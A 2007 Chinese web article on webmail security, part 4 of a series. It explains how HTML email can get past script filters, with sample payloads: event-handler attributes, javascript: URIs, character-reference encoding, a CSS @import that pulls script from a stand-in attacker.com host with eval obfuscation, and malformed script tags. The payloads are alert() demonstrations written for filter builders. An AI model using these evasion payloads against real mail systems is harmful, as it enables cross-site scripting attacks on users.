Webmail攻防实战(4)

来源:云南设计港 时间:2007-10-26 13:38:00 

鉴于脚本程序可能带来的危险,WebMail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,不少的WebMail系统仍然没有完全改正:

(1)在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:
  
  <tagattribute1attribute2onEventName="javascriptcode;">
  
例如:
  


  <bodyonload="alert('JavaScript#1isexecuted');">
  <ahref="#"onclick="alert('JavaScript#2isexecuted');">Clickhere</a>
  <formmethod="post"action="#"onsubmit="alert('JavaScript#3isexecuted');">
  <inputtype="submit"value="Submit">
  </form>
  </body>


  
(2)URI(UniversalResourceIdentifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URIscheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法如下,注意要用“;”分隔不同的javascript语句:

<tagattribute="javascript:javascript-code;">

例如:
  


  <bodybackground="javascript:alert('JavaScript#1isexecuted');">
  <ahref="javascript:alert('JavaScript#2isexecuted');">Clickhere</a>
  <formmethod="post"action="javascript:alert('JavaScript#3isexecuted');">
  <inputtype="submit"value="Submit">
  </form>
  <imgsrc="javascript:alert('JavaScript#4isexecuted');">
  </body>


  
(3)由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A”、“A”表示字母“A”,“水”、“水”表示汉字“水”。
  
攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:
  


  <body>
  <imglowsrc="javasCript:alert('JavaScript#1isexecuted')">
  <ahref="javAsCript:alert('JavaScript#2
  i&#x73executed')">Clickhere</a>
  <formmethod="post"action="javascript:alert('JavaScript#3is
  executed')">
  <inputtype="Submit"value="Submit">
  </form>
  </body>


  
(4)样式表是层叠样式表单(CSS:CascadingStyleSheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,InternetExplorer浏览器仍然会执行。
  


  例如:<styletype="text/css">
  <!--
  @importurl(javascript:alert('JavaScript#1isexecuted'));
  @importurl(http://www.attacker.com/js.css);
  -->
  </style>


  
其中http://www.attacker.com/js.css的内容如下所示:
  


  @importurl(javascript:alert('JavaScript#2isexecuted'));
  @importurl(javascript:eval(String.fromCharCode
  (97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
  108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));


  
能够绕过WebMail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。

标签:
0
投稿

猜你喜欢

  • 留下一个好影响:网站首页应该放什么内容

    2009-01-04 09:31:00
  • 从关键词火车票 来看各大网站的SEO优化

    2009-01-17 11:30:00
  • FreeBSD系统优化部分内核参数调整中文注释

    2010-03-04 17:35:00
  • 织梦dedecms网站六大SEO优化技巧分享

    2012-05-09 20:37:19
  • Wordpress与其他程序效率测评

    2008-04-30 12:10:00
  • Discuz! 7.1:热点话题聚焦社区热点信息

    2009-09-25 12:12:00
  • centos7 用rpm安装mysql详解

    2023-08-18 23:58:01
  • 网站服务器安全需要注意三方面问题

    2009-11-24 10:05:00
  • Linux系统交换空间介绍

    2021-01-15 12:34:51
  • 专家讲堂:如何创建Windows VPN服务器

    2008-11-20 15:27:00
  • 用dedecms实现拼音显示文章标题页文件名的方法

    2010-12-08 16:40:00
  • 倍受好评的美国主机JustHost使用全攻略教程

    2010-03-18 15:37:00
  • windows必须掌握的八个DOS命令

    2008-11-14 14:00:00
  • Virtualbox 6.1.34 出现 End kernel panic - not syncing: attempted to kill the idle task的完美解决方法

    2023-01-30 00:35:17
  • phpwind8.7正式版本发布 “立体化”社区迈入云时代

    2011-09-13 18:51:21
  • Google以外17个搜索引擎的创新

    2008-03-20 13:08:00
  • 网络营销-软文如何利用文章来呈现营销

    2009-10-04 08:15:00
  • 个人站长如何应付Google Adsense变化

    2007-11-19 13:24:00
  • 传播木马的新途径,大家小心

    2008-01-15 08:56:00
  • 评测地方门户网站的七大指标

    2010-03-28 13:49:00
  • asp之家 网站运营 m.aspxhome.com